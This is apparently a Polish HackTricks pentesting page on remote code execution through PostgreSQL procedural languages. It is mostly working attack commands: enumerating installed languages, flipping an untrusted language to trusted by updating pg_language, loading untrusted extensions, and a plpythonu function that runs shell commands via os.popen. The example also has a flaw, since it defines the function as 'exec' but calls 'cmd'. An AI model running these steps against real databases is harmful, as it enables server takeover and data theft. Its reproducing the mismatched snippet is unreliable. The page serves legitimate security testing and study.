RCE z językami PostgreSQL
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Języki PostgreSQL
Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne języki skryptowe, które możesz wykorzystać do wykonywania dowolnego kodu.
Możesz je uruchomić:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Większość języków skryptowych, które możesz zainstalować w PostgreSQL, ma 2 odmiany: zaufaną i niezaufaną. Niezaufana będzie miała nazwę kończącą się na "u" i będzie wersją, która pozwoli ci na wykonywanie kodu i korzystanie z innych interesujących funkcji. Oto języki, które są interesujące, jeśli są zainstalowane:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (jakikolwiek inny język programowania używający niebezpiecznej wersji)
warning
Jeśli znajdziesz interesujący język, który jest zainstalowany, ale niezaufany przez PostgreSQL (lanpltrusted
jest false
) możesz spróbować zaufać mu za pomocą następującej linii, aby żadne ograniczenia nie były stosowane przez PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Aby sprawdzić swoje uprawnienia do tabeli pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Jeśli nie widzisz języka, możesz spróbować go załadować (musisz być superadminem):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Zauważ, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź to na przykład. Zawsze warto spróbować, czy możesz wykonać kod, nawet jeśli znajdziesz tylko zainstalowaną zaufaną wersję.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Sprawdź następującą stronę:
C
Sprawdź następującą stronę:
RCE with PostgreSQL Extensions
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.